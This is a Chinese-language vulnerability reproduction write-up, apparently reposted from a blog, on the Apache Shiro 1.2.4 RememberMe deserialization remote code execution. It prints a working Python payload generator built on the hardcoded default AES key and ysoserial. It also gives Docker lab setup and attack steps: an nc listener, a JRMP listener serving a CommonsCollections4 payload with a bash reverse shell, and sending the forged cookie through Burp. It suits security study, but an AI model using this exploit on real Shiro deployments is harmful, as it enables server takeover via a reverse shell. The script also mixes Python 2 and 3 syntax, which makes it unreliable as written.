Shiro RememberMe 1.2.4 反序列化命令執行漏洞復現


影響版本

Apache Shiro <= 1.2.4

產生原因

shiro默認使用了CookieRememberMeManager,其處理cookie的流程是:得到rememberMe的cookie值-->Base64解碼-->AES解密-->反序列化
然而AES的密鑰是硬編碼的,就導致了攻擊者可以構造惡意數據造成反序列化的RCE漏洞。

payload 構造

前16字節的密鑰-->后面加入序列化參數-->AES加密-->base64編碼-->發送cookie

  • shiro.py
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
print "rememberMe={0}".format(payload.decode())

使用大佬腳本生成 payload(ysoserial.jar文件和運行目錄處於同一目錄)

python shiro.py vpsip:1099

環境搭建

這里依舊使用docker進行漏洞復現

  1. 拉取鏡像

docker pull medicean/vulapps:s_shiro_1

  1. 啟動環境

docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1
8081 代表環境運行在宿主機的8081端口

  1. 進入容器環境

docker exec -it ID /bin/bash 進入容器

  1. 訪問 web 環境(http://ip:8081/login.jsp)並登陸,登陸時勾選remember me
     
    成功登錄后訪問任意url並抓包,查看到 cookie 中的 remember me 參數
  2.  

漏洞復現

  1. VPS 執行監聽反彈 shell 的命令

nc -lvp 7878

  1. 使用 VPS 監控一個JRMP端口

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "bash 一句話反彈shell"
( 反彈 shell 需要進行java base64 編碼) 

  1. 將生成的payload通過burp進行發送


     
  2. 此時可看到已經收到反彈過來的 shell


     

參考鏈接:
https://blog.csdn.net/three_feng/article/details/52189559
http://www.db-sec.com/2019/06/apache-shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/



作者:雞翅兒
鏈接:https://www.jianshu.com/p/0007eafd1f92
來源:簡書
著作權歸作者所有。商業轉載請聯系作者獲得授權,非商業轉載請注明出處。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM